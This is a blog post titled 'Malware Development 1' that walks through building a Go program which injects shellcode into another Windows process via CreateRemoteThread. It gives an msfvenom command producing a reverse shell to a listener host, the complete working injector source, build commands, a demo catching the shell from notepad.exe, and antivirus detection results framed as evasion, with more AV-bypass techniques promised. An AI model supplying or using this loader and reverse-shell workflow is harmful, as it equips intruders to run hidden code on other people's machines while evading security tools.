Home Malware Development 1 - CreateRemoteThread shellcode injection (Golang)
Post
Cancel

Malware Development 1 - CreateRemoteThread shellcode injection (Golang)

Introduction

Hello hackers!

Today we’re gonna see a simple malware development technique, Shellcode injection via CreateRemoteThread in Golang. The most complex malwares use different shellcode injection techniques to bypass common AV vendors as the shellcode is executed in memory.

Executing shellcode

Let’s test this with a simple metasploit reverse shell, to generate it use msfvenom like this:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.116.146 LPORT=9999 -f raw -o shellcode.bin

In this post we’ll be using the raw format, however in future posts we’ll see how we can combine encryption/decryption functions to avoid static scanning and much more

As every Golang program we start defining the package name and which packages we want to import

1
2
3
4
5
6
7
8
9
10
11
12
package main

import (
  "os"
  "fmt"
  "log"
  "unsafe"
  "strconv"
  "io/ioutil"

  "golang.org/x/sys/windows"
)

To perform this technique we have to use some Windows API calls and to use them in Golang you must import them from their DLLs like this:

1
2
3
4
5
6
7
8
9
10
func main(){
  // Import dll
  kernel32 := windows.NewLazyDLL("kernel32.dll")

  // Import the function
  GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")

  // Call the function
  GetCurrentProcess.Call()
}

This isn’t the only way to do this but it’s the most used and it’s easy to implement. Other option is using CGO to use C code

We also should have in mind that all the API calls return 3 values but we just will use the first and the third of them. Once we know how to access the Windows API in Golang we can continue.

The first step to inject shellcode is to get a handle to the desired process:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func main(){
  ...

  // Get function from kernel32.dll
  OpenProcess := kernel32.NewProc("OpenProcess")

  pid := 1042 // Process ID (change it)
  procHandle, _, _ := OpenProcess.Call(
    windows.PROCESS_ALL_ACCESS, // Access to the process
    uintptr(0), // FALSE
    uintptr(pid), // Process to open
  )

  if procHandle == 0 { // Handle error
    fmt.Println("An error has ocurred with OpenProcess!")
    os.Exit(0)
  }
}

Notice that you must have the right permissisons to get process handle

Now we allocate the memory buffer so then we can write our malicious bytes. To do this we use VirtualAllocEx

Note the “Ex” at the end of the function which means that it can allocate memory on remote processes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func main(){
  ...

  VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")

  addr, _, _ := VirtualAllocEx.Call(
    uintptr(procHandle), // Process handle
    0,
    uintptr(len(shellcode)), // Shellcode length
    windows.MEM_COMMIT | windows.MEM_RESERVE,
    windows.PAGE_READWRITE, // memory permissions
  )

  if addr == 0 { // Handle error
    fmt.Println("An error has ocurred with VirtualAllocEx!")
    os.Exit(0)
  }
}

Then we use WriteProcessMemory call to write the shellcode into RW allocated process memory space

1
2
3
4
5
6
7
8
9
10
11
func main(){
  ...

  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")

  WriteProcessMemory.Call(
    uintptr(procHandle), // Process handle
    addr, // VirtualAllocEx return value
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)), // Shellcode length
  )

At this point we use CreateRemoteThreadEx call to create a new thread in the especified process which will finally execute the shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func main(){
  ...

  CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")

  CreateRemoteThreadEx.Call(
    uintptr(procHandle),
    0,
    0,
    addr,
    0,
    0,
    0,
  )
}

And finally we close the process handle using CloseHandle call:

1
2
3
4
5
6
7
8
9
10
...

func main(){
  CloseHandle := kernel32.NewProc("CloseHandle")

  _, _, err := CloseHandle.Call(procHandle)
  if err != nil {
    log.Fatal(err)
  }
}

Now we put all pieces together and add more output info to create a more readable program

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package main

import (
  "os"
  "fmt"
  "log"
  "unsafe"
  "strconv"
  "io/ioutil"

  "golang.org/x/sys/windows"
)

func main(){
  pid := os.Args[1]
  shellcode_file := os.Args[2]

  fmt.Println("Process ID: " + pid)
  fmt.Println("Shellcode file: " + shellcode_file)

  // Convert CLI argument to int
  pid_int, _ := strconv.Atoi(pid)

  // Open given path
  f, err := os.Open(shellcode_file)
  if err != nil {
    log.Fatal(err)
  }
  defer f.Close()

  // Get content as bytes
  shellcode, err := ioutil.ReadAll(f)
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("Loading DLLs and functions...")
  kernel32 := windows.NewLazyDLL("kernel32.dll")
  OpenProcess := kernel32.NewProc("OpenProcess")
  VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
  CloseHandle := kernel32.NewProc("CloseHandle")

  fmt.Println("Calling OpenProcess...")
  procHandle, _, _ := OpenProcess.Call(
    uintptr(0x1F0FFF), // Access to the process (PROCESS_ALL_ACCESS)
    uintptr(0), // FALSE
    uintptr(pid_int), // Process to open
  )

  if procHandle == 0 {
    fmt.Println("An error has ocurred calling OpenProcess")
    os.Exit(0)
  }

  fmt.Println("Allocating memory with RWX permissions...")
  addr, _, _ := VirtualAllocEx.Call(
    uintptr(procHandle),
    0,
    uintptr(len(shellcode)),
    windows.MEM_COMMIT | windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE,
  )

  if (addr == 0) {
    fmt.Println("An error has ocurred on VirtualAllocEx!")
    os.Exit(0)
  }

  fmt.Println("Writing shellcode to buffer using WriteProcessMemory...")
  WriteProcessMemory.Call(
    uintptr(procHandle),
    addr,
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
  )

  fmt.Println("Calling CreateRemoteThreadEx...")
  CreateRemoteThreadEx.Call(
    uintptr(procHandle),
    0,
    0,
    addr,
    0,
    0,
    0,
  )

  fmt.Println("Calling CloseHandle...")
  _, _, err = CloseHandle.Call(procHandle)
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("Shellcode should have been executed!")
}

This is the final result of the program. Now compile the program in your attacker machine:

Command for linux

1
GOARCH=amd64 GOOS=windows go build main.go

Command for windows

1
go build main.go

Now let’s see how it works!

Demo

Download the generated .exe and the shellcode file in the “victim” PC. To use the program especify a PID and the file where shellcode is stored

For testing purposes start a notepad.exe process and especify its PID

1
.\main.exe <pid> .\shellcode.bin

And if I check my netcat listener…

As you can see I’ve catched the reverse shell and if you open the Process Explorer you will see that there is the notepad.exe process but no new process was created

Let’s upload the generated .exe to VirusTotal and antiscan.me to see the results (I use VirusTotal as it’s just for testing purposes, not for real malware because it gets burned out)

VirusTotal analysis

As you can see 7/69 detections isn’t bad at all, but it occurs because the program receives the arguments via CLI so when VirusTotal analyze the file it just gives an error and exits, and the shellcode isn’t hardcoded on the source code so it really helps

https://antiscan.me/scan/new/result?id=IpnYZGhx7ZZZ

References

1
2
3
4
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread

Conclusion

This technique is simple but really useful to see how we can leverage the Windows API to execute malicious code. In the following posts I’ll show you different techniques to bypass AVs and much more.

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.